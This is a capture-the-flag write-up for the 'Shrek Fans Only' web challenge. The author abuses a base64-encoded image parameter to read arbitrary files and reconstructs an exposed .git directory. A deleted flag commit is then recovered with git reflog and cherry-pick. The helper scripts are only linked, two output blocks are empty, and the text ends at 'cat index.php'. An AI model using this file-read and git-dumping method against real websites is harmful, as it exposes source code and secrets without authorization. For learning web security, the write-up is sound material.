# Write-up: Shrek Fans Only

## Description

### My Story
A simple web page with a single image. too empty!!

But the url of image is somehow interesting (`http://3.91.17.218/getimg.php?img=aW1nMS5qcGc%3D`).
The `img` parameter value is like Base64 encoded value and it is. I tested by Javascript:
```
atob(decodeURIComponent('aW1nMS5qcGc%3D'))
"img1.jpg"
```

I wrote this simple Bash script, [getimg.sh](./getimg.sh), and tried different pathes and finally found `.git` directory files.
```
./getimg.sh ".git/HEAD"
```

OK! I should try to get `.git` directory data and find the flag in the past commits of repository.

### Exploit Time
I had to write a script that would get all parts of `.git` directory, but I didn't know the structure of this directory. I searched and found [this repository](https://github.com/arthaud/git-dumper) and read some parts of [git-dumper.py](https://github.com/arthaud/git-dumper/blob/master/git-dumper.py) and did:
* mkdir git (I made this diretory to be the parent of `.git` directory)
* I wrote [my-dumper.py](./my-dumper.py) to get important files of `.git` directory.

I have these files now:
```

```
There should be some object files under `objects` direcotry that I don't know the names. So I tried to find out the SHA1s all over `.git` directory and used [getobject.sh script](./getobject.sh) to download and put them in the correct path.

I use `git cherry-pick` command to get pre-'remove flag' files.
```
$ git reflog
d421c6a (HEAD -> master, origin/master) HEAD@{0}: checkout: moving from 759be945739b04b63a09e7c02d51567501ead033 to master
759be94 HEAD@{1}: checkout: moving from master to 759be945739b04b63a09e7c02d51567501ead033
d421c6a (HEAD -> master, origin/master) HEAD@{2}: commit: added more stuff
976b625 HEAD@{3}: commit: remove flag
759be94 HEAD@{4}: commit (initial): initial commit

$ git cherry-pick 759be94
```

and after a conflict I saw `index.php` file.
```
$ cat index.php
